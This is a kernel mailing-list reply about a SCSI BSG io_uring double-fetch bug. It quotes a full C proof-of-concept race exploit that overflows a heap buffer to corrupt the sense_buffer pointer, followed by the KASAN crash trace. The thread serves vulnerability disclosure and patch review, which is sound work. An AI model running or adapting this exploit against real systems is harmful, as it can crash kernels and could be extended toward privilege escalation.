Re: [PATCH] scsi: bsg: copy uring_cmd payload to prevent double-fetch from shared SQE
Caleb Sander Mateos <[email protected]>
| Newsgroups | org.kernel.vger.io-uring,org.kernel.vger.linux-block,org.kernel.vger.linux-scsi |
|---|---|
| Message-ID | <CADUfDZr6LJckoVt2NRfRt3Njs-WAqsg5-QnTDi6xbUDiO950Fw@mail.gmail.com> |
On Wed, May 27, 2026 at 9:19 AM Rahul Chandelkar <[email protected]> wrote: > > On Wed, May 27, 2026 at 10:06:44AM -0600, Jens Axboe wrote: > > I don't think this is the right way to fix it, ->sqe should've been > > stable upfront if this ends up happening. Can you share your poc with > > me? Your trace has been trimmed down way too much to be useful. > > Agreed that a core-level copy before the inline callback would be the > right fix and would eliminate the entire class for every uring_cmd > driver. The per-driver copy was meant as a minimal backportable fix > for the immediate scsi_bsg path. > > PoC and full trace below. > > --- PoC (poc_bsg_toctou.c) --- > > Build: gcc -O2 -pthread -static -o poc poc_bsg_toctou.c > Usage: ./poc /dev/bsg/X > Needs: 2+ CPUs, io_uring, /dev/bsg/* access > > The racer thread flips request_len between 16 (passes the <=32 bounds > check) and 128 (used by copy_from_user, overflows scmd->cmnd[32]). > The overflow payload plants 0xdead000000001000 at the sense_buffer > pointer offset (+84 from cmnd[0]). When scsi_queue_rq() does > memset(scmd->sense_buffer, 0, SCSI_SENSE_BUFFERSIZE) it faults on the > corrupted pointer. Then the fix is to use READ_ONCE() to access the SQE fields, right? Copying the entire SQE seems like unnecessary overhead. See nvme_uring_cmd_io() for prior art. Best, Caleb > > Tested on v7.1-rc1, KASAN, QEMU virtio-scsi, 2 vCPUs. > > /* > * PoC: SCSI BSG uring_cmd TOCTOU heap buffer overflow > * > * Overflows scmd->cmnd[32] to corrupt sense_buffer pointer. > * On successful race, memset(corrupted_sense_buffer, 0, 96) in > * scsi_queue_rq() causes a kernel fault proving the vulnerability. > * > * Usage: ./poc /dev/bsg/X > * Build: gcc -O2 -pthread -static -o poc poc_bsg_toctou.c > */ > > #define _GNU_SOURCE > #include <stdio.h> > #include <stdlib.h> > #include <string.h> > #include <unistd.h> > #include <fcntl.h> > #include <pthread.h> > #include <sched.h> > #include <stdatomic.h> > #include <stdint.h> > #include <sys/mman.h> > #include <sys/syscall.h> > #include <linux/io_uring.h> > > struct bsg_uring_cmd { > uint64_t request; > uint32_t request_len; > uint32_t protocol; > uint32_t subprotocol; > uint32_t max_response_len; > uint64_t response; > uint64_t dout_xferp; > uint32_t dout_xfer_len; > uint32_t dout_iovec_count; > uint64_t din_xferp; > uint32_t din_xfer_len; > uint32_t din_iovec_count; > uint32_t timeout_ms; > uint8_t reserved[12]; > }; > > #define QUEUE_DEPTH 4 > #define OVERFLOW_LEN 128 > #define SAFE_LEN 16 > > static atomic_int stop_flag = 0; > > static int sys_io_uring_setup(unsigned entries, struct io_uring_params *p) > { > return syscall(__NR_io_uring_setup, entries, p); > } > > static int sys_io_uring_enter(int fd, unsigned to_submit, > unsigned min_complete, unsigned flags) > { > return syscall(__NR_io_uring_enter, fd, to_submit, min_complete, > flags, NULL, 0); > } > > struct race_ctx { > volatile uint32_t *target; > int cpu; > }; > > static void *racer_thread(void *arg) > { > struct race_ctx *ctx = arg; > cpu_set_t cpuset; > > CPU_ZERO(&cpuset); > CPU_SET(ctx->cpu, &cpuset); > sched_setaffinity(0, sizeof(cpuset), &cpuset); > > while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) { > *ctx->target = OVERFLOW_LEN; > *ctx->target = OVERFLOW_LEN; > *ctx->target = OVERFLOW_LEN; > *ctx->target = OVERFLOW_LEN; > } > return NULL; > } > > int main(int argc, char **argv) > { > struct io_uring_params params; > int ring_fd, bsg_fd; > void *sq_ring, *cq_ring, *sqe_ring; > unsigned *sq_head, *sq_tail, *sq_mask, *sq_array; > unsigned *cq_head, *cq_tail, *cq_mask; > size_t sqe_stride; > pthread_t racer; > struct race_ctx rctx; > int i, attempts = 0; > int max_attempts = 500000; > > if (argc < 2) { > fprintf(stderr, "Usage: %s /dev/bsg/X\n", argv[0]); > return 1; > } > > bsg_fd = open(argv[1], O_RDWR); > if (bsg_fd < 0) { > perror("open bsg"); > return 1; > } > > cpu_set_t cpuset; > CPU_ZERO(&cpuset); > CPU_SET(0, &cpuset); > sched_setaffinity(0, sizeof(cpuset), &cpuset); > > memset(¶ms, 0, sizeof(params)); > params.flags = IORING_SETUP_SQE128 | IORING_SETUP_CQE32; > > ring_fd = sys_io_uring_setup(QUEUE_DEPTH, ¶ms); > if (ring_fd < 0) { > perror("io_uring_setup"); > return 1; > } > > size_t sq_ring_sz = params.sq_off.array + > params.sq_entries * sizeof(unsigned); > sq_ring = mmap(NULL, sq_ring_sz, PROT_READ | PROT_WRITE, > MAP_SHARED | MAP_POPULATE, ring_fd, IORING_OFF_SQ_RING); > > sq_head = sq_ring + params.sq_off.head; > sq_tail = sq_ring + params.sq_off.tail; > sq_mask = sq_ring + params.sq_off.ring_mask; > sq_array = sq_ring + params.sq_off.array; > > sqe_stride = 2 * sizeof(struct io_uring_sqe); > sqe_ring = mmap(NULL, params.sq_entries * sqe_stride, > PROT_READ | PROT_WRITE, MAP_SHARED | MAP_POPULATE, > ring_fd, IORING_OFF_SQES); > > size_t cqe_size = sizeof(struct io_uring_cqe) + 16; > size_t cq_ring_sz = params.cq_off.cqes + > params.cq_entries * cqe_size; > cq_ring = mmap(NULL, cq_ring_sz, PROT_READ | PROT_WRITE, > MAP_SHARED | MAP_POPULATE, ring_fd, IORING_OFF_CQ_RING); > > cq_head = cq_ring + params.cq_off.head; > cq_tail = cq_ring + params.cq_off.tail; > cq_mask = cq_ring + params.cq_off.ring_mask; > > unsigned char payload[OVERFLOW_LEN]; > memset(payload, 0x41, sizeof(payload)); > payload[0] = 0x12; /* INQUIRY opcode */ > > uint64_t bad_sense = 0xdead000000001000ULL; > memcpy(payload + 84, &bad_sense, 8); > > printf("[*] SCSI BSG uring_cmd TOCTOU PoC\n"); > printf("[*] Target: %s\n", argv[1]); > printf("[*] Overflow: %d -> %d bytes (sense_buffer at +84)\n", > SAFE_LEN, OVERFLOW_LEN); > printf("[*] Bad sense_buffer: 0x%lx\n", (unsigned long)bad_sense); > > rctx.cpu = 1; > > while (attempts < max_attempts) { > unsigned tail = *sq_tail; > unsigned idx = tail & *sq_mask; > > struct io_uring_sqe *sqe = > (struct io_uring_sqe *)((char *)sqe_ring + > idx * sqe_stride); > memset(sqe, 0, sqe_stride); > > sqe->opcode = IORING_OP_URING_CMD; > sqe->fd = bsg_fd; > > struct bsg_uring_cmd *cmd = > (struct bsg_uring_cmd *)((char *)sqe + 48); > > cmd->request = (uint64_t)(unsigned long)payload; > cmd->request_len = SAFE_LEN; > cmd->protocol = 0; > cmd->subprotocol = 0; > cmd->max_response_len = 96; > cmd->timeout_ms = 1000; > > rctx.target = &cmd->request_len; > > if (attempts == 0) { > pthread_create(&racer, NULL, racer_thread, &rctx); > usleep(1000); > } > > sq_array[idx] = idx; > > cmd->request_len = SAFE_LEN; > __atomic_store_n(sq_tail, tail + 1, __ATOMIC_RELEASE); > > sys_io_uring_enter(ring_fd, 1, 1, IORING_ENTER_GETEVENTS); > > while (*cq_head != *cq_tail) > __atomic_store_n(cq_head, *cq_head + 1, > __ATOMIC_RELEASE); > > attempts++; > if (attempts % 50000 == 0) > printf("[*] %d attempts...\n", attempts); > } > > atomic_store(&stop_flag, 1); > pthread_join(racer, NULL); > > printf("[!] %d attempts done. Check dmesg for crash.\n", attempts); > > close(bsg_fd); > close(ring_fd); > return 0; > } > > --- Full KASAN trace (untruncated) --- > > [ 4.784469] ================================================================== > [ 4.784815] BUG: KASAN: wild-memory-access in scsi_queue_rq+0x4a3/0x58a0 > [ 4.785140] Write of size 96 at addr dead000000001000 by task poc/67 > [ 4.785443] > [ 4.785529] CPU: 0 UID: 0 PID: 67 Comm: poc Not tainted 7.1.0-rc1 #2 PREEMPT(lazy) > [ 4.785532] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 > [ 4.785534] Call Trace: > [ 4.785536] <TASK> > [ 4.785537] dump_stack_lvl+0x53/0x70 > [ 4.785540] kasan_report+0xce/0x100 > [ 4.785543] ? scsi_queue_rq+0x4a3/0x58a0 > [ 4.785546] kasan_check_range+0x105/0x1b0 > [ 4.785549] __asan_memset+0x23/0x50 > [ 4.785550] scsi_queue_rq+0x4a3/0x58a0 > [ 4.785553] ? __pfx_scsi_queue_rq+0x10/0x10 > [ 4.785556] ? scsi_mq_get_budget+0xa8/0x670 > [ 4.785558] blk_mq_dispatch_rq_list+0x462/0x42b0 > [ 4.785561] ? blk_mq_rq_ctx_init+0x57a/0xcc0 > [ 4.785564] ? __pfx_blk_mq_dispatch_rq_list+0x10/0x10 > [ 4.785566] ? __pfx__raw_spin_lock+0x10/0x10 > [ 4.785569] __blk_mq_sched_dispatch_requests+0x2e2/0x23a0 > [ 4.785574] ? __pfx___blk_mq_sched_dispatch_requests+0x10/0x10 > [ 4.785580] ? blk_mq_insert_request+0x402/0x13f0 > [ 4.785582] blk_mq_sched_dispatch_requests+0xec/0x270 > [ 4.785584] blk_mq_run_hw_queue+0x797/0x10e0 > [ 4.785586] scsi_bsg_uring_cmd+0x942/0x1570 > [ 4.785588] ? __pfx_scsi_bsg_uring_cmd+0x10/0x10 > [ 4.785594] io_uring_cmd+0x2f6/0x950 > [ 4.785599] __io_issue_sqe+0xb6/0xcc0 > [ 4.785601] io_issue_sqe+0xe5/0x22d0 > [ 4.785606] ? io_uring_cmd_prep+0x619/0xa10 > [ 4.785609] io_submit_sqes+0xb4a/0x4540 > [ 4.785614] __do_sys_io_uring_enter+0x148c/0x2f50 > [ 4.785618] do_syscall_64+0xf9/0x540 > [ 4.785621] entry_SYSCALL_64_after_hwframe+0x77/0x7f > > Second fault (completion path reading corrupted sense_buffer): > > [ 4.799563] KASAN: maybe wild-memory-access in range [0xdead000000001000-0xdead000000001007] > [ 4.800411] RIP: 0010:scsi_normalize_sense+0x47/0x480 > [ 4.803461] R12: dead000000001000 > [ 4.841254] Kernel panic - not syncing: Fatal exception in interrupt > > R12 holds the corrupted sense_buffer pointer (0xdead000000001000), > confirming the overflow overwrote sense_buffer at the expected offset. > > The io_submit_sqes -> io_issue_sqe -> io_uring_cmd -> scsi_bsg_uring_cmd > path shows this is the inline execution path where the SQE has not been > copied to kernel memory yet. > > Rahul >